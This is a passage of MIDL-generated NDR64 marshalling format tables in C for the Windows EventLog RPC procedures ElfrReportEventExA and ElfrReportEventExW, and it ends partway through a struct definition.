const __midl_frag39_t __midl_frag39;\n\ntypedef \nstruct \n{\n    struct _NDR64_STRUCTURE_HEADER_FORMAT frag1;\n}\n__midl_frag36_t;\nextern const __midl_frag36_t __midl_frag36;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n    struct _NDR64_PARAM_FORMAT frag5;\n    struct _NDR64_PARAM_FORMAT frag6;\n}\n__midl_frag34_t;\nextern const __midl_frag34_t __midl_frag34;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag31_t;\nextern const __midl_frag31_t __midl_frag31;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n    struct _NDR64_PARAM_FORMAT frag5;\n}\n__midl_frag29_t;\nextern const __midl_frag29_t __midl_frag29;\n\ntypedef \nstruct _NDR64_CONTEXT_HANDLE_FORMAT\n__midl_frag22_t;\nextern const __midl_frag22_t __midl_frag22;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag21_t;\nextern const __midl_frag21_t __midl_frag21;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n}\n__midl_frag20_t;\nextern const __midl_frag20_t __midl_frag20;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n}\n__midl_frag16_t;\nextern const __midl_frag16_t __midl_frag16;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n    struct _NDR64_PARAM_FORMAT frag5;\n}\n__midl_frag12_t;\nextern const __midl_frag12_t __midl_frag12;\n\ntypedef \nstruct \n{\n    struct _NDR64_POINTER_FORMAT frag1;\n}\n__midl_frag10_t;\nextern const __midl_frag10_t __midl_frag10;\n\ntypedef \nstruct \n{\n    NDR64_FORMAT_UINT32 frag1;\n    struct _NDR64_EXPR_NOOP frag2;\n    struct _NDR64_EXPR_CONST64 frag3;\n}\n__midl_frag9_t;\nextern const __midl_frag9_t __midl_frag9;\n\ntypedef \nstruct \n{\n    NDR64_FORMAT_UINT32 frag1;\n    struct _NDR64_EXPR_OPERATOR frag2;\n    struct _NDR64_EXPR_VAR frag3;\n    struct _NDR64_EXPR_CONST64 frag4;\n}\n__midl_frag8_t;\nextern const __midl_frag8_t __midl_frag8;\n\ntypedef \nstruct \n{\n    NDR64_FORMAT_UINT32 frag1;\n    struct _NDR64_EXPR_OPERATOR frag2;\n    struct _NDR64_EXPR_VAR frag3;\n    struct _NDR64_EXPR_CONST64 frag4;\n}\n__midl_frag7_t;\nextern const __midl_frag7_t __midl_frag7;\n\ntypedef \nstruct \n{\n    struct _NDR64_CONF_VAR_ARRAY_HEADER_FORMAT frag1;\n}\n__midl_frag6_t;\nextern const __midl_frag6_t __midl_frag6;\n\ntypedef \nstruct \n{\n    struct _NDR64_BOGUS_STRUCTURE_HEADER_FORMAT frag1;\n    struct \n    {\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag1;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag2;\n        struct _NDR64_MEMPAD_FORMAT frag3;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag4;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag5;\n    } frag2;\n}\n__midl_frag5_t;\nextern const __midl_frag5_t __midl_frag5;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n    struct _NDR64_PARAM_FORMAT frag5;\n}\n__midl_frag2_t;\nextern const __midl_frag2_t __midl_frag2;\n\ntypedef \nNDR64_FORMAT_UINT32\n__midl_frag1_t;\nextern const __midl_frag1_t __midl_frag1;\n\nstatic const __midl_frag274_t __midl_frag274 =\n0x5    /* FC64_INT32 */;\n\nstatic const __midl_frag272_t __midl_frag272 =\n{ \n/* *long */\n    0x21,    /* FC64_UP */\n    (NDR64_UINT8) 8 /* 0x8 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag274\n};\n\nstatic const __midl_frag271_t __midl_frag271 =\n0x4    /* FC64_INT16 */;\n\nstatic const __midl_frag270_t __midl_frag270 =\n0x10    /* FC64_CHAR */;\n\nstatic const __midl_frag269_t __midl_frag269 =\n{ \n/*  */\n    (NDR64_UINT32) 5 /* 0x5 */,\n    { \n    /* struct _NDR64_RANGE_FORMAT */\n        0xa4,    /* FC64_RANGE */\n        0x5,    /* FC64_INT32 */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_INT64) 0 /* 0x0 */,\n        (NDR64_INT64) 61440 /* 0xf000 */\n    },\n    { \n    /* struct _NDR64_EXPR_VAR */\n        0x3,    /* FC_EXPR_VAR */\n        0x6,    /* FC64_UINT32 */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT32) 48 /* 0x30 */  /* Offset */\n    }\n};\n\nstatic const __midl_frag268_t __midl_frag268 =\n{ \n/* *char */\n    { \n    /* *char */\n        0x41,    /* FC64_CONF_ARRAY */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        { \n        /* *char */\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 1 /* 0x1 */,\n        &__midl_frag269\n    },\n    { \n    /* struct _NDR64_ARRAY_ELEMENT_INFO */\n        (NDR64_UINT32) 1 /* 0x1 */,\n        &__midl_frag270\n    }\n};\n\nstatic const __midl_frag267_t __midl_frag267 =\n{ \n/* *char */\n    0x21,    /* FC64_UP */\n    (NDR64_UINT8) 32 /* 0x20 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag268\n};\n\nstatic const __midl_frag266_t __midl_frag266 =\n{ \n/* *_RPC_STRING */\n    0x21,    /* FC64_UP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag113\n};\n\nstatic const __midl_frag265_t __midl_frag265 =\n{ \n/*  */\n    (NDR64_UINT32) 5 /* 0x5 */,\n    { \n    /* struct _NDR64_RANGE_FORMAT */\n        0xa4,    /* FC64_RANGE */\n        0x5,    /* FC64_INT32 */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_INT64) 0 /* 0x0 */,\n        (NDR64_INT64) 256 /* 0x100 */\n    },\n    { \n    /* struct _NDR64_EXPR_VAR */\n        0x3,    /* FC_EXPR_VAR */\n        0x3,    /* FC64_UINT16 */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT32) 40 /* 0x28 */  /* Offset */\n    }\n};\n\nstatic const __midl_frag264_t __midl_frag264 =\n{ \n/*  */\n    { \n    /* struct _NDR64_CONF_ARRAY_HEADER_FORMAT */\n        0x41,    /* FC64_CONF_ARRAY */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        { \n        /* struct _NDR64_CONF_ARRAY_HEADER_FORMAT */\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 8 /* 0x8 */,\n        &__midl_frag265\n    },\n    { \n    /*  */\n        { \n        /* struct _NDR64_REPEAT_FORMAT */\n            0x82,    /* FC64_VARIABLE_REPEAT */\n            { \n            /* struct _NDR64_REPEAT_FORMAT */\n                (NDR64_UINT8) 0 /* 0x0 */,\n                (NDR64_UINT8) 0 /* 0x0 */\n            },\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 8 /* 0x8 */,\n            (NDR64_UINT32) 0 /* 0x0 */,\n            (NDR64_UINT32) 1 /* 0x1 */\n        },\n        { \n        /*  */\n            { \n            /* struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT */\n                (NDR64_UINT32) 0 /* 0x0 */,\n                (NDR64_UINT32) 0 /* 0x0 */\n            },\n            { \n            /* *_RPC_STRING */\n                0x21,    /* FC64_UP */\n                (NDR64_UINT8) 0 /* 0x0 */,\n                (NDR64_UINT16) 0 /* 0x0 */,\n                &__midl_frag113\n            }\n        },\n        0x93    /* FC64_END */\n    },\n    { \n    /* struct _NDR64_ARRAY_ELEMENT_INFO */\n        (NDR64_UINT32) 8 /* 0x8 */,\n        &__midl_frag266\n    }\n};\n\nstatic const __midl_frag263_t __midl_frag263 =\n{ \n/* struct _NDR64_POINTER_FORMAT */\n    0x21,    /* FC64_UP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag264\n};\n\nstatic const __midl_frag262_t __midl_frag262 =\n{ \n/* *_RPC_SID */\n    0x21,    /* FC64_UP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag92\n};\n\nstatic const __midl_frag261_t __midl_frag261 =\n{ \n/* *_RPC_STRING */\n    0x20,    /* FC64_RP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag113\n};\n\nstatic const __midl_frag260_t __midl_frag260 =\n{ \n/* long */\n    0xa4,    /* FC64_RANGE */\n    0x5,    /* FC64_INT32 */\n    (NDR64_UINT16) 0 /* 0x0 */,\n    (NDR64_INT64) 0 /* 0x0 */,\n    (NDR64_INT64) 61440 /* 0xf000 */\n};\n\nstatic const __midl_frag259_t __midl_frag259 =\n{ \n/* short */\n    0xa4,    /* FC64_RANGE */\n    0x4,    /* FC64_INT16 */\n    (NDR64_UINT16) 0 /* 0x0 */,\n    (NDR64_INT64) 0 /* 0x0 */,\n    (NDR64_INT64) 256 /* 0x100 */\n};\n\nstatic const __midl_frag258_t __midl_frag258 =\n0x5    /* FC64_INT32 */;\n\nstatic const __midl_frag257_t __midl_frag257 =\n0x4    /* FC64_INT16 */;\n\nstatic const __midl_frag255_t __midl_frag255 =\n{ \n/* *_FILETIME */\n    0x20,    /* FC64_RP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag233\n};\n\nstatic const __midl_frag254_t __midl_frag254 =\n{ \n/* struct _NDR64_CONTEXT_HANDLE_FORMAT */\n    0x70,    /* FC64_BIND_CONTEXT */\n    (NDR64_UINT8) 65 /* 0x41 */,\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT8) 1 /* 0x1 */\n};\n\nstatic const __midl_frag253_t __midl_frag253 =\n{ \n/* ElfrReportEventExA */\n    { \n    /* ElfrReportEventExA */      /* procedure ElfrReportEventExA */\n        (NDR64_UINT32) 19660864 /* 0x12c0040 */,    /* explicit handle */ /* IsIntrepreted, ClientMustSize, HasReturn, ServerCorrelation, HasExtensions */\n        (NDR64_UINT32) 112 /* 0x70 */ ,  /* Stack size */\n        (NDR64_UINT32) 156 /* 0x9c */,\n        (NDR64_UINT32) 40 /* 0x28 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 14 /* 0xe */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x70,    /* FC64_BIND_CONTEXT */\n            (NDR64_UINT8) 64 /* 0x40 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 0 /* 0x0 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* LogHandle */      /* parameter LogHandle */\n        &__midl_frag254,\n        { \n        /* LogHandle */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        0 /* 0x0 */,   /* Stack offset */\n    },\n    { \n    /* TimeGenerated */      /* parameter TimeGenerated */\n        &__midl_frag233,\n        { \n        /* TimeGenerated */\n            0,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustFree, [in], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    },\n    { \n    /* EventType */      /* parameter EventType */\n        &__midl_frag257,\n        { \n        /* EventType */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        16 /* 0x10 */,   /* Stack offset */\n    },\n    { \n    /* EventCategory */      /* parameter EventCategory */\n        &__midl_frag257,\n        { \n        /* EventCategory */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        24 /* 0x18 */,   /* Stack offset */\n    },\n    { \n    /* EventID */      /* parameter EventID */\n        &__midl_frag258,\n        { \n        /* EventID */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        32 /* 0x20 */,   /* Stack offset */\n    },\n    { \n    /* NumStrings */      /* parameter NumStrings */\n        &__midl_frag259,\n        { \n        /* NumStrings */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        40 /* 0x28 */,   /* Stack offset */\n    },\n    { \n    /* DataSize */      /* parameter DataSize */\n        &__midl_frag260,\n        { \n        /* DataSize */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        48 /* 0x30 */,   /* Stack offset */\n    },\n    { \n    /* ComputerName */      /* parameter ComputerName */\n        &__midl_frag113,\n        { \n        /* ComputerName */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        56 /* 0x38 */,   /* Stack offset */\n    },\n    { \n    /* UserSID */      /* parameter UserSID */\n        &__midl_frag262,\n        { \n        /* UserSID */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        64 /* 0x40 */,   /* Stack offset */\n    },\n    { \n    /* Strings */      /* parameter Strings */\n        &__midl_frag263,\n        { \n        /* Strings */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        72 /* 0x48 */,   /* Stack offset */\n    },\n    { \n    /* Data */      /* parameter Data */\n        &__midl_frag267,\n        { \n        /* Data */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        80 /* 0x50 */,   /* Stack offset */\n    },\n    { \n    /* Flags */      /* parameter Flags */\n        &__midl_frag271,\n        { \n        /* Flags */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        88 /* 0x58 */,   /* Stack offset */\n    },\n    { \n    /* RecordNumber */      /* parameter RecordNumber */\n        &__midl_frag272,\n        { \n        /* RecordNumber */\n            0,\n            1,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustFree, [in], [out] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        96 /* 0x60 */,   /* Stack offset */\n    },\n    { \n    /* NTSTATUS */      /* parameter NTSTATUS */\n        &__midl_frag274,\n        { \n        /* NTSTATUS */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        104 /* 0x68 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag244_t __midl_frag244 =\n{ \n/* *_RPC_UNICODE_STRING */\n    0x21,    /* FC64_UP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag5\n};\n\nstatic const __midl_frag242_t __midl_frag242 =\n{ \n/*  */\n    { \n    /* struct _NDR64_CONF_ARRAY_HEADER_FORMAT */\n        0x41,    /* FC64_CONF_ARRAY */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        { \n        /* struct _NDR64_CONF_ARRAY_HEADER_FORMAT */\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 8 /* 0x8 */,\n        &__midl_frag265\n    },\n    { \n    /*  */\n        { \n        /* struct _NDR64_REPEAT_FORMAT */\n            0x82,    /* FC64_VARIABLE_REPEAT */\n            { \n            /* struct _NDR64_REPEAT_FORMAT */\n                (NDR64_UINT8) 0 /* 0x0 */,\n                (NDR64_UINT8) 0 /* 0x0 */\n            },\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 8 /* 0x8 */,\n            (NDR64_UINT32) 0 /* 0x0 */,\n            (NDR64_UINT32) 1 /* 0x1 */\n        },\n        { \n        /*  */\n            { \n            /* struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT */\n                (NDR64_UINT32) 0 /* 0x0 */,\n                (NDR64_UINT32) 0 /* 0x0 */\n            },\n            { \n            /* *_RPC_UNICODE_STRING */\n                0x21,    /* FC64_UP */\n                (NDR64_UINT8) 0 /* 0x0 */,\n                (NDR64_UINT16) 0 /* 0x0 */,\n                &__midl_frag5\n            }\n        },\n        0x93    /* FC64_END */\n    },\n    { \n    /* struct _NDR64_ARRAY_ELEMENT_INFO */\n        (NDR64_UINT32) 8 /* 0x8 */,\n        &__midl_frag244\n    }\n};\n\nstatic const __midl_frag241_t __midl_frag241 =\n{ \n/* struct _NDR64_POINTER_FORMAT */\n    0x21,    /* FC64_UP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag242\n};\n\nstatic const __midl_frag239_t __midl_frag239 =\n{ \n/* *_RPC_UNICODE_STRING */\n    0x20,    /* FC64_RP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag5\n};\n\nstatic const __midl_frag233_t __midl_frag233 =\n{ \n/* _FILETIME */\n    { \n    /* _FILETIME */\n        0x30,    /* FC64_STRUCT */\n        (NDR64_UINT8) 3 /* 0x3 */,\n        { \n        /* _FILETIME */\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 8 /* 0x8 */\n    }\n};\n\nstatic const __midl_frag230_t __midl_frag230 =\n{ \n/* ElfrReportEventExW */\n    { \n    /* ElfrReportEventExW */      /* procedure ElfrReportEventExW */\n        (NDR64_UINT32) 19660864 /* 0x12c0040 */,    /* explicit handle */ /* IsIntrepreted, ClientMustSize, HasReturn, ServerCorrelation, HasExtensions */\n        (NDR64_UINT32) 112 /* 0x70 */ ,  /* Stack size */\n        (NDR64_UINT32) 156 /* 0x9c */,\n        (NDR64_UINT32) 40 /* 0x28 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 14 /* 0xe */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x70,    /* FC64_BIND_CONTEXT */\n            (NDR64_UINT8) 64 /* 0x40 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 0 /* 0x0 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* LogHandle */      /* parameter LogHandle */\n        &__midl_frag254,\n        { \n        /* LogHandle */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        0 /* 0x0 */,   /* Stack offset */\n    },\n    { \n    /* TimeGenerated */      /* parameter TimeGenerated */\n        &__midl_frag233,\n        { \n        /* TimeGenerated */\n            0,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustFree, [in], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    },\n    { \n    /* EventType */      /* parameter EventType */\n        &__midl_frag257,\n        { \n        /* EventType */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        16 /* 0x10 */,   /* Stack offset */\n    },\n    { \n    /* EventCategory */      /* parameter EventCategory */\n        &__midl_frag257,\n        { \n        /* EventCategory */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        24 /* 0x18 */,   /* Stack offset */\n    },\n    { \n    /* EventID */      /* parameter EventID */\n        &__midl_frag258,\n        { \n        /* EventID */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        32 /* 0x20 */,   /* Stack offset */\n    },\n    { \n    /* NumStrings */      /* parameter NumStrings */\n        &__midl_frag259,\n        { \n        /* NumStrings */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        40 /* 0x28 */,   /* Stack offset */\n    },\n    { \n    /* DataSize */      /* parameter DataSize */\n        &__midl_frag260,\n        { \n        /* DataSize */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        48 /* 0x30 */,   /* Stack offset */\n    },\n    { \n    /* ComputerName */      /* parameter ComputerName */\n        &__midl_frag5,\n        { \n        /* ComputerName */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        56 /* 0x38 */,   /* Stack offset */\n    },\n    { \n    /* UserSID */      /* parameter UserSID */\n        &__midl_frag262,\n        { \n        /* UserSID */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        64 /* 0x40 */,   /* Stack offset */\n    },\n    { \n    /* Strings */      /* parameter Strings */\n        &__midl_frag241,\n        { \n        /* Strings */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        72 /* 0x48 */,   /* Stack offset */\n    },\n    { \n    /* Data */      /* parameter Data */\n        &__midl_frag267,\n        { \n        /* Data */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        80 /* 0x50 */,   /* Stack offset */\n    },\n    { \n    /* Flags */      /* parameter Flags */\n        &__midl_frag271,\n        { \n        /* Flags */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        88 /* 0x58 */,   /* Stack offset */\n    },\n    { \n    /* RecordNumber */      /* parameter RecordNumber */\n        &__midl_frag272,\n        { \n        /* RecordNumber */\n            0,\n            1,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustFree, [in], [out] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        96 /* 0x60 */,   /* Stack offset */\n    },\n    { \n    /* NTSTATUS */      /* parameter NTSTATUS */\n        &__midl_frag274,\n        { \n        /* NTSTATUS */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        104 /* 0x68 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag227_t __midl_frag227 =\n{ \n/* *long */\n    0x21,    /* FC64_UP */\n    (NDR64_UINT8) 8 /* 0x8 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag258\n};\n\nstatic const __midl_frag223_t __midl_frag223 =\n0x10    /* FC64_CHAR */;\n\nstatic const __midl_frag222_t __midl_frag222 =\n{ \n/*  */\n    (NDR64_UINT32) 5 /* 0x5 */,\n    { \n    /* struct _NDR64_RANGE_FORMAT */\n        0xa4,    /* FC64_RANGE */\n        0x5,    /* FC64_INT32 */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_INT64) 0 /* 0x0 */,\n        (NDR64_INT64) 61440 /* 0xf000 */\n    },\n    { \n    /* struct _NDR64_EXPR_VAR */\n        0x3,    /* FC_EXPR_VAR */\n        0x6,    /* FC64_UINT32 